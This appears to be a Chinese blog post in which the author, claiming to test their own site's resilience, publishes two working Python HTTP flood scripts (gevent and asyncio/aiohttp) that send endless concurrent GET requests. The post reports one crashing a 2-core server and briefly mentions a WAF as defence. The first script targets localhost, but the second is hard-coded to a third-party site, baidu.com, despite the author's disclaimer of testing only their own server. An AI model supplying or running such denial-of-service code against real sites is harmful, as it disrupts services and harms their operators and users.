最近写论文有提到网络安全,需要测试一下我的网站是不是能够承受5G的流量攻击,但没有找到这种免费的平台,虽然可以通过别的途径但不想有啥不必要的麻烦,想着用脚本来实现,但家里那龟速的网络应该达不到满足,但却无意间发现一个PHP存在像一个BUG的现象,发觉PHP吃服务器的CPU每一个进程通信吃的CPU是在是太大了。我使用16线程(对于脚本来说是进程)的去攻击服务器,2核的服务器直接挂,测试仅仅使用Apache压力还是抗得住,但也是仅仅静态的html文件可以,目前该攻击暂时想到用waf来现实防御。
声明:本人仅在自己服务器做过测试,脚本仅用来测试以及学习交流,请不要做非法或商业等渠道,如有使用本文章源码或相关技术用于其它,均与本人无关,后果自负。
由于这种知识技术风险太高,这里就只放占用CPU版本的,该脚本的强大跟本地CPU线程有关。以下是源代码,需要安装python的 gevent 和 requests 库,同时设置了最多100线程:
# -*- coding: utf-8 -*-
from gevent import monkey
monkey.patch_all()
import gevent.pool
import requests
def get_url(url):
try:
print(requests.get(url))
except Exception as e:
print('出错了,可能是服务器破溃了')
if __name__ == '__main__':
host = 'http://127.0.0.1' # 网站地址
while True:
res_l = []
p = gevent.pool.Pool(100)
for i in range(1, 256):
res_l.append(p.spawn(get_url, host))
gevent.joinall(res_l)
以下是第二个版本,一样存在限制,也是CPU
# -*- coding:utf-8 -*-
import asyncio
from aiohttp import ClientSession
tasks = []
url = "https://www.baidu.com/"
async def hello(url):
async with ClientSession() as session:
async with session.get(url) as response:
return response.status
def run():
for i in range(50):
task = asyncio.ensure_future(hello(url))
tasks.append(task)
result = loop.run_until_complete(asyncio.gather(*tasks))
print(result)
if __name__ == '__main__':
while True:
loop = asyncio.get_event_loop()
run()